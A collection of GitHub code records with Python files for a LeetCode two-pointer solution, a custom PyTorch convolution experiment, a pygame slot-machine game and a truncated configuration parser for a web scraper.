{"seq_id":"20239100460","text":"# 167. Two Sum II - Input Array Is Sorted\n\n# Given a 1-indexed array of integers numbers that is already sorted in non-decreasing order, find two numbers such that they add up to a specific target number. Let these two numbers be numbers[index1] and numbers[index2] where 1 <= index1 < index2 <= numbers.length.\n# Return the indices of the two numbers, index1 and index2, added by one as an integer array [index1, index2] of length 2.\n# The tests are generated such that there is exactly one solution. You may not use the same element twice.\n# Your solution must use only constant extra space.\n\n# Example 1:\n# Input: numbers = [2,7,11,15], target = 9\n# Output: [1,2]\n# Explanation: The sum of 2 and 7 is 9. Therefore, index1 = 1, index2 = 2. We return [1, 2].\n\n# Example 2:\n# Input: numbers = [2,3,4], target = 6\n# Output: [1,3]\n# Explanation: The sum of 2 and 4 is 6. Therefore index1 = 1, index2 = 3. We return [1, 3].\n\n# Example 3:\n# Input: numbers = [-1,0], target = -1\n# Output: [1,2]\n# Explanation: The sum of -1 and 0 is -1. Therefore index1 = 1, index2 = 2. We return [1, 2].\n\nfrom typing import List\n\n\nclass Solution:\n\n    def twoSum(self, numbers: List[int], target: int) -> List[int]:\n        slow = 0\n        fast = slow + 1\n        while slow < len(numbers):\n            while fast < len(numbers):\n                if numbers[slow] + numbers[fast] == target:\n                    return [slow + 1, fast + 1]\n                fast = fast + 1\n\n            slow = slow + 1\n            fast = slow + 1\n        return [-1, -1]\n\n    def twoSum1(self, numbers: List[int], target: int) -> List[int]:\n        low = 0\n        high = len(numbers) - 1\n        while low < high:\n            total = numbers[low] + numbers[high]\n            if total == target:\n                return [low + 1, high + 1]\n            elif total < target:\n                low += 1\n            else:\n                high -= 1\n\n        return [-1, -1]\n\n\n# test\nsolution = Solution()\nres = solution.twoSum([2, 7, 11, 15], 9)\nres1 = solution.twoSum1([2, 7, 11, 15], 9)\nprint(res)\nprint(res1)\n","repo_name":"HarryXiong24/code-collection","sub_path":"Data Structure & Algorithm/Algorithm/Two Point/en/Left & Right/167. Two Sum II - Input Array Is Sorted/167. Two Sum II - Input Array Is Sorted.py","file_name":"167. Two Sum II - Input Array Is Sorted.py","file_ext":"py","file_size_in_byte":2065,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"19"}
{"seq_id":"32377241260","text":"import torch.nn as nn\nimport torch\nimport math\nfrom torch import functional as F\nfrom torch._six import container_abcs\nfrom itertools import repeat\n\n\nclass Conv2d(torch.autograd.Function):\n    @staticmethod\n    def forward(self, x, weight, weight_fluidity):\n        '''\n            The forward computation for a convolution function\n\n            Arguments:\n            X -- output activations of the previous layer, numpy array of shape (n_H_prev, n_W_prev) assuming input channels = 1\n            W -- Weights, numpy array of size (f, f) assuming number of filters = 1\n\n            Returns:\n            H -- conv output, numpy array of size (n_H, n_W)\n            cache -- cache of values needed for conv_backward() function\n            '''\n        # https://becominghuman.ai/back-propagation-in-convolutional-neural-networks-intuition-and-code-714ef1c38199\n\n        # Retrieving dimensions from X's shape\n        (_, n_H_prev, n_W_prev, _) = x.shape\n\n        # Retrieving dimensions from W's shape\n        (_, f, f, _) = weight.shape\n\n        # Compute the output dimensions assuming no padding and stride = 1\n        n_H = n_H_prev - f + 1\n        n_W = n_W_prev - f + 1\n\n        # Initialize the output H with zeros\n        H = torch.zeros((n_H, n_W))\n\n        # Looping over vertical(h) and horizontal(w) axis of output volume\n        for h in range(n_H):\n            for w in range(n_W):\n                x_slice = x[h:h + f, w:w + f]\n                H[h, w] = torch.sum(x_slice * weight)\n\n        # Saving information in 'cache' for backprop\n        self.save_for_backward(x, weight, weight_fluidity)\n\n        return H\n\n    @staticmethod\n    def backward(self, dy):\n        # https://towardsdatascience.com/backpropagation-in-a-convolutional-layer-24c8d64d8509\n        '''\n            The backward computation for a convolution function\n\n            Arguments:\n            dH -- gradient of the cost with respect to output of the conv layer (H), numpy array of shape (n_H, n_W) assuming channels = 1\n            cache -- cache of values needed for the conv_backward(), output of conv_forward()\n\n            Returns:\n            dX -- gradient of the cost with respect to input of the conv layer (X), numpy array of shape (n_H_prev, n_W_prev) assuming channels = 1\n            dW -- gradient of the cost with respect to the weights of the conv layer (W), numpy array of shape (f,f) assuming single filter\n            '''\n\n        # Retrieving information from the \"cache\"\n        (X, W, ws) = self.saved_tensors\n\n        # Retrieving dimensions from X's shape\n        (n_H_prev, n_W_prev) = X.shape\n\n        # Retrieving dimensions from W's shape\n        (f, f) = W.shape\n\n        # Retrieving dimensions from dH's shape\n        (n_H, n_W) = dy.shape\n\n        # Initializing dX, dW with the correct shapes\n        dX = torch.zeros(X.shape)\n        dW = torch.zeros(W.shape)\n\n        # Looping over vertical(h) and horizontal(w) axis of the output\n        for h in range(n_H):\n            for w in range(n_W):\n                dX[h:h + f, w:w + f] += W * dy(h, w)\n                dW += X[h:h + f, w:w + f] * dy(h, w)\n\n        return dX, dW\n\nx = torch.tensor([[[[3.], [4.]], [[5.], [6.]]]], requires_grad=True)\nw = torch.tensor([[[[1.], [2.]], [[1.], [2.]]]], requires_grad=True)\nwf = torch.tensor([[[[.5], [.1]], [[1], [.2]]]], requires_grad=True)\nm = Conv2d.apply(x, w, wf)\nprint(m)\nm.backward()\nprint(x.grad.data)\nprint(w.grad.data)\nprint(wf.grad.data)\n\n\n'''\nclass _ConvNd(nn.Module):\n    __constants__ = [\n        \"stride\",\n        \"padding\",\n        \"dilation\",\n        \"groups\",\n        \"bias\",\n        \"padding_mode\",\n        \"output_padding\",\n        \"in_channels\",\n        \"out_channels\",\n        \"kernel_size\",\n    ]\n\n    def __init__(\n            self,\n            in_channels,\n            out_channels,\n            kernel_size,\n            stride,\n            padding,\n            dilation,\n            transposed,\n            output_padding,\n            groups,\n            bias,\n            padding_mode,\n            weight_solidifying_rate=.001,\n            sparse_activation_percentage=.02\n    ):\n        super(_ConvNd, self).__init__()\n        if in_channels % groups != 0:\n            raise ValueError(\"in_channels must be divisible by groups\")\n        if out_channels % groups != 0:\n            raise ValueError(\"out_channels must be divisible by groups\")\n        self.in_channels = in_channels\n        self.out_channels = out_channels\n        self.kernel_size = kernel_size\n        self.stride = stride\n        self.padding = padding\n        self.dilation = dilation\n        self.transposed = transposed\n        self.output_padding = output_padding\n        self.groups = groups\n        self.padding_mode = padding_mode\n        self.weight_solidifying_rate = weight_solidifying_rate\n        self.sparse_activation_percentage = sparse_activation_percentage\n        if transposed:\n            tensor_init = in_channels, out_channels // groups, *kernel_size\n        else:\n            tensor_init = out_channels, in_channels // groups, *kernel_size\n        self.weight = nn.Parameter(\n            torch.Tensor(*tensor_init)\n        )\n        self.weight_importance = nn.parameter(\n            torch.Tensor(*tensor_init)\n        )\n        if bias:\n            self.bias = nn.Parameter(torch.Tensor(out_channels))\n        else:\n            self.register_parameter(\"bias\", None)\n        self.reset_parameters()\n\n    def reset_parameters(self):\n        nn.init.kaiming_uniform_(self.weight, a=math.sqrt(5))\n        nn.init.zeros_(self.weight_importance)\n        if self.bias is not None:\n            fan_in, _ = nn.init._calculate_fan_in_and_fan_out(self.weight)\n            bound = 1 / math.sqrt(fan_in)\n            nn.init.uniform_(self.bias, -bound, bound)\n\n    def extra_repr(self):\n        s = (\n            \"{in_channels}, {out_channels}, kernel_size={kernel_size}\"\n            \", stride={stride}\"\n        )\n        if self.padding != (0,) * len(self.padding):\n            s += \", padding={padding}\"\n        if self.dilation != (1,) * len(self.dilation):\n            s += \", dilation={dilation}\"\n        if self.output_padding != (0,) * len(self.output_padding):\n            s += \", output_padding={output_padding}\"\n        if self.groups != 1:\n            s += \", groups={groups}\"\n        if self.bias is None:\n            s += \", bias=False\"\n        return s.format(**self.__dict__)\n\n    def __setstate__(self, state):\n        super(_ConvNd, self).__setstate__(state)\n        if not hasattr(self, \"padding_mode\"):\n            self.padding_mode = \"zeros\"\n\n\ndef _ntuple(n):\n    def parse(x):\n        if isinstance(x, container_abcs.Iterable):\n            return x\n        return tuple(repeat(x, n))\n\n    return parse\n\n\n_single = _ntuple(1)\n_pair = _ntuple(2)\n_triple = _ntuple(3)\n_quadruple = _ntuple(4)\n\n\nclass Conv2d(_ConvNd):\n    r\"\"\"Applies a 2D convolution over an input signal composed of several input\n    planes.\n\n    In the simplest case, the output value of the layer with input size\n    :math:`(N, C_{\\text{in}}, H, W)` and output :math:`(N, C_{\\text{out}}, H_{\\text{out}}, W_{\\text{out}})`\n    can be precisely described as:\n\n    .. math::\n        \\text{out}(N_i, C_{\\text{out}_j}) = \\text{bias}(C_{\\text{out}_j}) +\n        \\sum_{k = 0}^{C_{\\text{in}} - 1} \\text{weight}(C_{\\text{out}_j}, k) \\star \\text{input}(N_i, k)\n\n\n    where :math:`\\star` is the valid 2D `cross-correlation`_ operator,\n    :math:`N` is a batch size, :math:`C` denotes a number of channels,\n    :math:`H` is a height of input planes in pixels, and :math:`W` is\n    width in pixels.\n\n    * :attr:`stride` controls the stride for the cross-correlation, a single\n      number or a tuple.\n\n    * :attr:`padding` controls the amount of implicit zero-paddings on both\n      sides for :attr:`padding` number of points for each dimension.\n\n    * :attr:`dilation` controls the spacing between the kernel points; also\n      known as the à trous algorithm. It is harder to describe, but this `link`_\n      has a nice visualization of what :attr:`dilation` does.\n\n    * :attr:`groups` controls the connections between inputs and outputs.\n      :attr:`in_channels` and :attr:`out_channels` must both be divisible by\n      :attr:`groups`. For example,\n\n        * At groups=1, all inputs are convolved to all outputs.\n        * At groups=2, the operation becomes equivalent to having two conv\n          layers side by side, each seeing half the input channels,\n          and producing half the output channels, and both subsequently\n          concatenated.\n        * At groups= :attr:`in_channels`, each input channel is convolved with\n          its own set of filters, of size:\n          :math:`\\left\\lfloor\\frac{out\\_channels}{in\\_channels}\\right\\rfloor`.\n\n    The parameters :attr:`kernel_size`, :attr:`stride`, :attr:`padding`, :attr:`dilation` can either be:\n\n        - a single ``int`` -- in which case the same value is used for the height and width dimension\n        - a ``tuple`` of two ints -- in which case, the first `int` is used for the height dimension,\n          and the second `int` for the width dimension\n\n    .. note::\n\n         Depending of the size of your kernel, several (of the last)\n         columns of the input might be lost, because it is a valid `cross-correlation`_,\n         and not a full `cross-correlation`_.\n         It is up to the user to add proper padding.\n\n    .. note::\n\n        When `groups == in_channels` and `out_channels == K * in_channels`,\n        where `K` is a positive integer, this operation is also termed in\n        literature as depthwise convolution.\n\n        In other words, for an input of size :math:`(N, C_{in}, H_{in}, W_{in})`,\n        a depthwise convolution with a depthwise multiplier `K`, can be constructed by arguments\n        :math:`(in\\_channels=C_{in}, out\\_channels=C_{in} \\times K, ..., groups=C_{in})`.\n\n    .. include:: cudnn_deterministic.rst\n\n    Args:\n        in_channels (int): Number of channels in the input image\n        out_channels (int): Number of channels produced by the convolution\n        kernel_size (int or tuple): Size of the convolving kernel\n        stride (int or tuple, optional): Stride of the convolution. Default: 1\n        padding (int or tuple, optional): Zero-padding added to both sides of the input. Default: 0\n        padding_mode (string, optional). Accepted values `zeros` and `circular` Default: `zeros`\n        dilation (int or tuple, optional): Spacing between kernel elements. Default: 1\n        groups (int, optional): Number of blocked connections from input channels to output channels. Default: 1\n        bias (bool, optional): If ``True``, adds a learnable bias to the output. Default: ``True``\n\n    Shape:\n        - Input: :math:`(N, C_{in}, H_{in}, W_{in})`\n        - Output: :math:`(N, C_{out}, H_{out}, W_{out})` where\n\n          .. math::\n              H_{out} = \\left\\lfloor\\frac{H_{in}  + 2 \\times \\text{padding}[0] - \\text{dilation}[0]\n                        \\times (\\text{kernel\\_size}[0] - 1) - 1}{\\text{stride}[0]} + 1\\right\\rfloor\n\n          .. math::\n              W_{out} = \\left\\lfloor\\frac{W_{in}  + 2 \\times \\text{padding}[1] - \\text{dilation}[1]\n                        \\times (\\text{kernel\\_size}[1] - 1) - 1}{\\text{stride}[1]} + 1\\right\\rfloor\n\n    Attributes:\n        weight (Tensor): the learnable weights of the module of shape\n                         :math:`(\\text{out\\_channels}, \\frac{\\text{in\\_channels}}{\\text{groups}},`\n                         :math:`\\text{kernel\\_size[0]}, \\text{kernel\\_size[1]})`.\n                         The values of these weights are sampled from\n                         :math:`\\mathcal{U}(-\\sqrt{k}, \\sqrt{k})` where\n                         :math:`k = \\frac{1}{C_\\text{in} * \\prod_{i=0}^{1}\\text{kernel\\_size}[i]}`\n        bias (Tensor):   the learnable bias of the module of shape (out_channels). If :attr:`bias` is ``True``,\n                         then the values of these weights are\n                         sampled from :math:`\\mathcal{U}(-\\sqrt{k}, \\sqrt{k})` where\n                         :math:`k = \\frac{1}{C_\\text{in} * \\prod_{i=0}^{1}\\text{kernel\\_size}[i]}`\n\n    Examples::\n\n        >>> # With square kernels and equal stride\n        >>> m = nn.Conv2d(16, 33, 3, stride=2)\n        >>> # non-square kernels and unequal stride and with padding\n        >>> m = nn.Conv2d(16, 33, (3, 5), stride=(2, 1), padding=(4, 2))\n        >>> # non-square kernels and unequal stride and with padding and dilation\n        >>> m = nn.Conv2d(16, 33, (3, 5), stride=(2, 1), padding=(4, 2), dilation=(3, 1))\n        >>> input = torch.randn(20, 16, 50, 100)\n        >>> output = m(input)\n\n    .. _cross-correlation:\n        https://en.wikipedia.org/wiki/Cross-correlation\n\n    .. _link:\n        https://github.com/vdumoulin/conv_arithmetic/blob/master/README.md\n    \"\"\"\n\n    def __init__(self, in_channels, out_channels, kernel_size, stride=1,\n                 padding=0, dilation=1, groups=1,\n                 bias=True, padding_mode='zeros'):\n        kernel_size = _pair(kernel_size)\n        stride = _pair(stride)\n        padding = _pair(padding)\n        dilation = _pair(dilation)\n        super(Conv2d, self).__init__(\n            in_channels, out_channels, kernel_size, stride, padding, dilation,\n            False, _pair(0), groups, bias, padding_mode)\n\n    def conv2d_forward(self, input, weight):\n        if self.padding_mode == 'circular':\n            expanded_padding = ((self.padding[1] + 1) // 2, self.padding[1] // 2,\n                                (self.padding[0] + 1) // 2, self.padding[0] // 2)\n            return F.conv2d(F.pad(input, expanded_padding, mode='circular'),\n                            weight, self.bias, self.stride,\n                            _pair(0), self.dilation, self.groups)\n        return F.conv2d(input, weight, self.bias, self.stride,\n                        self.padding, self.dilation, self.groups)\n\n    def forward(self, input):\n        return self.conv2d_forward(input, self.weight)\n'''\n","repo_name":"SimLeek/personalities","sub_path":"personalities/base/convs.py","file_name":"convs.py","file_ext":"py","file_size_in_byte":13993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"16056147679","text":"import pygame\nimport random\nfrom icon import Icon\n\n\n# Class for all the methods required when playing the slot machine\nclass SlotMachine:\n    MAIN_MSG = \"Fel's Slot Machine\"\n    YOU_WIN = \"You just won $\"\n    YOU_WIN_JACKPOT = \"Jackpot won $\"\n    YOU_LOST = \"You just lost $\"\n    YOU_BET = \"You bet $\"\n    NO_CASH_LEFT = \"Cannot bet to that amount. Cash not enough.\"\n    CANNOT_SPIN = \"Cannot spin. Cash not enough.\"\n    STARTING_BET = 10\n    JACKPOT_INCREASE_RATE = .15\n\n\n    # Function that gets the starting jackpot price and the starting cash amount as the parameters.\n    def __init__(self, starting_jackpot, starting_cash):\n        # To set all sounds\n        pygame.mixer.init()\n        self.bet_snd = pygame.mixer.Sound(\"sounds/bet_snd.wav\")\n        self.bet_no_cash_snd = pygame.mixer.Sound(\"sounds/bet_no_cash_snd.wav\")\n        self.spin_snd = pygame.mixer.Sound(\"sounds/spin_snd.ogg\")\n        self.spinning_snd = pygame.mixer.Sound(\"sounds/spinning_snd.ogg\")\n        self.reset_snd = pygame.mixer.Sound(\"sounds/reset_snd.ogg\")\n\n        # Setting the starting values\n        self.starting_jackpot = starting_jackpot\n        self.starting_cash = starting_cash\n\n        # Setting the icons/images that would be in the reels\n        self.icons = []\n        self.__create_icons()\n\n        # To call the method used to set the initial values\n        self.set_resettable_values()\n\n    \n    # Function to set values of slot machine which are resettable\n    def set_resettable_values(self):\n        self.current_message = SlotMachine.MAIN_MSG\n        self.current_jackpot = self.starting_jackpot\n        self.current_cash = self.starting_cash\n        self.results = 3*[\"Seven\"]\n        self.bet = SlotMachine.STARTING_BET\n\n   \n    # Function to create and set icons in an array\n    def __create_icons(self):\n    # The bonus win rate is for when no sad face appeared on the reel\n        self.icons.append(Icon(\"Sad Face\", 0, 0, \"sadface.png\", bonus_win_rate = 1))\n        self.icons.append(Icon(\"Bell\", 10, 1, \"bell.png\"))\n        self.icons.append(Icon(\"Cherry\", 20, 2, \"cherry.png\"))\n        self.icons.append(Icon(\"Melon\", 30, 2, \"melon.png\"))\n        self.icons.append(Icon(\"Orange\", 100, 2, \"orange.png\"))\n        self.icons.append(Icon(\"Grape\", 200, 2, \"grape.png\"))\n        self.icons.append(Icon(\"Diamond\", 300, 5, \"diamond.png\"))\n        self.icons.append(Icon(\"Seven\", 1000, 10, \"seven.png\", bonus_win_rate = 5))\n\n    \n    # Function to set a bet\n    def set_bet(self, bet):\n        # When valid, users are allow to bet. \n        if self.current_cash - bet >= 0:\n            self.bet = bet\n            self.current_message = SlotMachine.YOU_BET + str(self.bet)\n            self.bet_snd.play()\n        # Otherwise, it'll tell users that they're out of cash.\n        else:\n            self.current_message = SlotMachine.NO_CASH_LEFT\n            self.bet_no_cash_snd.play()\n\n\n    # Functions to get attributes\n    def get_bet(self):\n        return self.bet\n\n    def get_current_cash(self):\n        return self.current_cash\n\n    def get_current_jackpot(self):\n        return self.current_jackpot\n\n    def get_current_message(self):\n        return self.current_message\n\n   \n    # Function to spin the reels. Spinning is only allowed when there is enough money to do so.\n    def spin(self):\n        if self.current_cash - self.bet >= 0:\n            self.spin_snd.play()\n            # pay the bet and increase the jackpot\n            self.__pay()\n            self.__increase_jackpot()\n\n            # For each reel,\n            for spin in range(3):\n                # Save the wildcard number as spinned_result\n                spinned_result = random.randint(0, 100)\n\n                if spinned_result in range(0, 40):     # 40% Chance\n                    self.results[spin] = self.icons[0].name\n                elif spinned_result in range(40, 56):  # 16% Chance\n                    self.results[spin] = self.icons[1].name\n                elif spinned_result in range(56, 70):  # 14% Chance\n                    self.results[spin] = self.icons[2].name\n                elif spinned_result in range(70, 82):  # 12% Chance\n                    self.results[spin] = self.icons[3].name\n                elif spinned_result in range(82, 89):  # 7% Chance\n                    self.results[spin] = self.icons[4].name\n                elif spinned_result in range(89, 95):  # 6% Chance\n                    self.results[spin] = self.icons[5].name\n                elif spinned_result in range(95, 99):  # 4% Chance\n                    self.results[spin] = self.icons[6].name\n                elif spinned_result in range(99, 100):  # 1% Chance\n                    self.results[spin] = self.icons[7].name\n\n            # To check the result of the calculation rewards.\n            self.__check_results()\n        else:\n            # Show the reason why the slot machine cannot be spinned\n            self.current_message = SlotMachine.CANNOT_SPIN\n\n   \n    # Function to reduce cash by the bet amount everytime the user spin the slot machine.\n    def __pay(self):\n        self.current_cash -= self.bet\n\n  \n    # Function to increase the jackpot prize to be winned\n    def __increase_jackpot(self):\n        self.current_jackpot += (int(self.bet * SlotMachine.JACKPOT_INCREASE_RATE))\n\n  \n    # Function to check how much the player won or lost\n    def __check_results(self):\n        winnings = 0\n        jackpot_won = 0\n        # Go through each icon and check how many of the said icon is present. Base on that, check how much the player have won.\n        for icon in self.icons:\n            # Check how many of this icon is on the reel. Then multiply the win rate to the bet and add it to winnings.\n            if self.results.count(icon.name) == 3:\n                winnings += self.bet * icon.win_rate_full\n                # Play jackpot when 3 of a kind and not sadface is the result\n                if winnings > 0:\n                    jackpot_won = self.jackpot_win()\n            if self.results.count(icon.name) == 2:\n                winnings += self.bet * icon.win_rate_two\n        # If there is 1 Seven, it is considered a win\n        if self.results.count(self.icons[7].name) == 1:\n            winnings += self.bet * self.icons[7].bonus_win_rate\n        # If there is no sad face, it is considered a bet return win\n        if self.results.count(self.icons[0].name) == 0:\n            winnings += self.bet * self.icons[0].bonus_win_rate\n\n    \n        # Set the appropriate message for:\n        # If the user won the jackpot\n        if jackpot_won > 0:\n            self.current_message = SlotMachine.YOU_WIN_JACKPOT + str(jackpot_won) + \" With Cash $\" + str(winnings)\n        # Or if the user won something\n        elif winnings > 0:\n            self.current_cash += winnings\n            self.current_message = SlotMachine.YOU_WIN + str(winnings)\n        # Or if the user lost\n        elif winnings <= 0:\n            self.current_message = SlotMachine.YOU_LOST + str(self.bet)\n        else:\n            self.current_message = \"Somethings wrong\"\n\n    \n    # Function to return the value of the user's jackpot winnings\n    def jackpot_win(self):\n        # Set the wildcard jackpot number\n        JACKPOT_WILDCARD = 7\n        # Generate a random number from 1 to 100\n        jackpot_try = random.randint(1, 100)\n        winnings = 0\n\n        # Compare the wildcard to the random number\n        if jackpot_try == JACKPOT_WILDCARD:\n            # If they match, then the user wins\n            self.current_cash += self.current_jackpot\n            # Set the current jackpot as the winnings. \n            winnings = self.current_jackpot\n            # Reset the jackpot\n            self.current_jackpot = self.starting_jackpot\n        return winnings\n\n   \n    # Function to reset the slot machine when started\n    def reset(self):\n        self.set_resettable_values()","repo_name":"FelAmore/AlgoPro-Final-Project","sub_path":"slotmachine.py","file_name":"slotmachine.py","file_ext":"py","file_size_in_byte":7847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"19462666841","text":"import sys\nimport os\nimport re\nimport json\n# import yaml\nimport xml.etree.ElementTree as ET\nfrom xml.etree.ElementTree import Element\nfrom xml.dom import minidom\nfrom configparser import ConfigParser, SectionProxy\nfrom datetime import datetime, timedelta\nfrom pytz import timezone\nfrom Configuration import Configuration\n\n\n# Set of allowed config file types.\nALLOWED_CONFIG_FILE_TYPES = {'cfg', 'conf', 'config', 'ini', 'json', 'xml', 'yaml', 'yml'}\n# Set of allowed `true` string values.\nALLOWED_TRUE_STRINGS = {'true', 't', 'yes', 'y'}\n# Set of allowed `false` string values.\nALLOWED_FALSE_STRINGS = {'false', 'f', 'no', 'n'}\n# Set of allowed export file types.\nALLOWED_EXPORT_FILE_TYPES = {'json', 'xml', 'yaml', 'yml'}\n\n# Regex for seeing if a string contains `Start` or `End`\nSTART_END_REGEX = r'(Starts|Ends):'\n# Regex for seeing if a string contains `All Day`\nALL_DAY_REGEX = r'All\\sDay'\n# Regex for retrieving the date from a string\nDATE_REGEX = r'(0?\\d|1[0-2])/(0?\\d|[12]\\d|3[01])/([12]\\d{3})'\n# Regex for retrieving the time from a string\nTIME_REGEX = r'(0?[0-9]|1[0-2]):([0-5][0-9])(:[0-5][0-9])?\\s?[AP]\\.?M\\.?'\n# Regex for retrieving the contact name from a contact info string\nCONTACT_NAME_REGEX = r'^[a-zA-Z ,-]+$'\n# Regex for retrieving the phone number from a contact info string\nPHONE_NUMBER_REGEX = r'\\(?\\d{3}\\)?(\\s|-)?\\d{3}(\\s|-)?\\d{4}'\n# Regex for retrieving the email from a contact info string\nEMAIL_REGEX = r'[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9.-]+'\n\n\nclass InvalidExportFileTypeError(Exception):\n    \"\"\"An exception that indicates that the export file path has an invalid file type.\"\"\"\n    pass\n\n\nclass InvalidConfigFileTypeError(Exception):\n    \"\"\"An exception that indicates a config file had an invalid file type.\"\"\"\n    pass\n\n\nclass InvalidConfigFileValueError(Exception):\n    \"\"\"An exception that indicates a config file contained invalid values.\"\"\"\n    pass\n\n\nclass InvalidArgumentsError(Exception):\n    \"\"\"An exception that indicates that the command line arguments for the program's execution are invalid.\"\"\"\n    pass\n\n\nclass OverwriteExistingFileError(Exception):\n    \"\"\"An exception that indicates a file already exists and the program cannot overwrite it.\"\"\"\n    pass\n\n\ndef eval_config_file_boolean(text_value):\n    \"\"\"Convert a config file text value into a boolean.\n\n    Parameters\n    ----------\n    text_value : str\n        The text value to be converted into a boolean\n\n    Returns\n    -------\n    bool\n        True -- if the text value is one of the accepted `true` strings;\n        False -- if the text value is one of the accepted `false` strings\n\n    Raises\n    ------\n    InvalidConfigFileValueError\n        If the text value does is not any of the accepted `true` or `false` strings.\n    \"\"\"\n\n    # Return True if the text value is one of the accepted `true` strings\n    if text_value.strip().lower() in ALLOWED_TRUE_STRINGS:\n        return True\n    # Return False if the text value is one of the accepted `false` strings\n    elif text_value.strip().lower() in ALLOWED_FALSE_STRINGS:\n        return False\n    # Else, raise an InvalidConfigFileValueError exception\n    else:\n        raise InvalidConfigFileValueError('`{}` is not a valid value for the config file'.format(text_value))\n\n\ndef validate_start_end_pages(start_page, end_page):\n    \"\"\"Validate the start and end pages of the configuration settings.\n\n    Parameters\n    ----------\n    start_page : int\n        page where the web scraper will begin extracting information\n    end_page : int\n        page where the web scraper will stop extracting information\n\n    Raises\n    ------\n    InvalidConfigFileValueError\n        if the start and/or end pages are invalid\n    \"\"\"\n\n    # If the start page is negative\n    if start_page < 0:\n        raise InvalidConfigFileValueError('Start page must be a non-negative number. The number given was `{}`'\n                                          .format(start_page+1))\n    # If the end page is negative\n    if end_page < 0:\n        raise InvalidConfigFileValueError('End page must be greater than or equal to 1. The number given was `{}`'\n                                          .format(end_page))\n    # If the end page comes before the start page\n    if end_page < start_page:\n        raise InvalidConfigFileValueError('End page must be at or after start page, not before.')\n\n\ndef check_file_extension_exists(file_name):\n    \"\"\"Check to see if the file name has a file extension.\n\n    Parameters\n    ----------\n    file_name : str\n        name of the file to check\n\n    Raises\n    ------\n    InvalidConfigFileValueError\n        if there is no file extension\n    \"\"\"\n\n    if len(file_name.rsplit('.', 1)) < 2:\n        raise InvalidConfigFileValueError('No file extension listed in export path `{}`'.format(file_name))\n\n\ndef get_nested_elem(parser, func_list, key_list, file_ext, cast):\n    \"\"\"Retrieve the value of a nested element from within a config file.\n\n    Parameters\n    ----------\n    parser : ConfigParser (.ini, .config, .cfg), dict (.json, .yaml, .yml), or Element (.xml)\n        The object that will store the structure of elements\n    func_list : list\n        A list of functions that will be called on the structure of elements to get the nested element\n    key_list : list\n        A list of str that is the `path` within the config file to retrieve the nested element\n    file_ext : str\n        File extension for the config file\n    cast : function\n        The data type that the element's text value will be converted into\n\n    Returns\n    -------\n    type(cast)\n        Depending on the function of cast, the text value of the nested element can be converted into any data type\n    \"\"\"\n\n    elem = parser\n    # Have element be set to the result of calling `func` on elem to get the value of the key `key`\n    for func, key in zip(func_list, key_list):\n        elem = func(elem, key)\n    # If the file extension is `.xml`, convert the element to its text value.\n    if file_ext == 'xml':\n        elem = elem.text\n    # Cast the text value into the desired data type and return it\n    return cast(elem)\n\n\ndef parse_config_file(parser, func_list, file_ext):\n    \"\"\"Parse the configuration file to retrieve all of the configuration settings.\n\n    Parameters\n    ----------\n    parser : ConfigParser (.ini, .config, .cfg), dict (.json, .yaml, .yml), or Element (.xml)\n        The object that will store the structure of elements\n    func_list : list\n        A list of functions that will be called on the structure of elements to get the nested element\n    file_ext : str\n        File extension for the config file\n\n    Returns\n    -------\n    Configuration\n        an instance of Configuration that stores all of the configuration settings for the program's execution\n\n    Raises\n    ------\n    InvalidExportFileTypeError\n        if the export file is an invalid file type\n    \"\"\"\n\n    # Retrieve all of the configuration settings from the config file\n    chromedriver_path = os.path.abspath(get_nested_elem(parser, func_list, ['chromedriver', 'path'], file_ext, str))\n    headless = get_nested_elem(parser, func_list, ['chromedriver', 'headless'], file_ext, eval_config_file_boolean)\n    deep_scrape = get_nested_elem(parser, func_list, ['settings', 'deep_scrape'], file_ext, eval_config_file_boolean)\n    start_page = get_nested_elem(parser, func_list, ['settings', 'start_page'], file_ext, int) - 1\n    end_page = get_nested_elem(parser, func_list, ['settings', 'end_page'], file_ext, int)\n    all_pages = get_nested_elem(parser, func_list, ['settings', 'all_pages'], file_ext, eval_config_file_boolean)\n    export = get_nested_elem(parser, func_list, ['settings', 'export'], file_ext, eval_config_file_boolean)\n    overwrite = get_nested_elem(parser, func_list, ['settings', 'overwrite'], file_ext, eval_config_file_boolean)\n    export_path = get_nested_elem(parser, func_list, ['settings', 'export_path'], file_ext, str)\n    export_extension = export_path.rsplit('.', 1)[-1].lower()\n    print_evts = get_nested_elem(parser, func_list, ['settings', 'print'], file_ext, eval_config_file_boolean)\n\n    # Validate start and end pages\n    validate_start_end_pages(start_page, end_page)\n\n    # If the configuration setting for exporting data is enabled and\n    # the export file path has no file extension, raise an InvalidConfigFileValueError\n    if export:\n        check_file_extension_exists(export_path)\n\n    # If the export file path extension is not an allowed export\n    # file type, raise an InvalidConfigFileValueError\n    if export and export_extension not in ALLOWED_EXPORT_FILE_TYPES:\n        raise InvalidExportFileTypeError('One of the following file extensions must be provided: {}'\n                                         .format(', '.join(ALLOWED_EXPORT_FILE_TYPES)))\n\n    # Create a new instance of Configuration and return it\n    return Configuration(chromedriver_path, headless, deep_scrape, start_page, end_page,\n                         all_pages, export, overwrite, export_path, export_extension, print_evts)\n\n\ndef read_config_file(config_file_path):\n    \"\"\"Read the configuration file and extract the configuration settings for the program's execution.\n\n    Parameters\n    ----------\n    config_file_path : str\n        The file path to where the configuration file is located\n\n    Returns\n    -------\n    Configuration\n        an instance of Configuration that stores all of the configuration settings for the program's execution\n\n    Raises\n    ------\n    InvalidConfigFileValueError\n        if any values within the configuration file are invalid\n    InvalidConfigFileTypeError\n        if the configuration file is a file type that the program cannot read from\n    \"\"\"\n\n    # If the configuration file path has no file extension, raise an InvalidConfigFileValueError\n    if len(config_file_path.rsplit('.')) < 2:\n        raise InvalidConfigFileValueError('No file extension listed in config file path `{}`'.format(config_file_path))\n\n    # If the configuration file extension is not any of the allowed\n    # configuration file types, raise an InvalidConfigFileTypeError\n    file_extension = config_file_path.rsplit('.')[-1].lower()\n    if file_extension not in ALLOWED_CONFIG_FILE_TYPES:\n        raise InvalidConfigFileTypeError(\"`.{}` is not a valid config file extension. Allowed file types are: {}\"\n                                         .format(file_extension,\n                                                 ', '.join(map(lambda s: '`.' + s + '`', ALLOWED_CONFIG_FILE_TYPES))))\n\n    try:\n        # Read a config file of file type: .cfg, .conf, .config, .ini\n        if file_extension in {'cfg', 'conf', 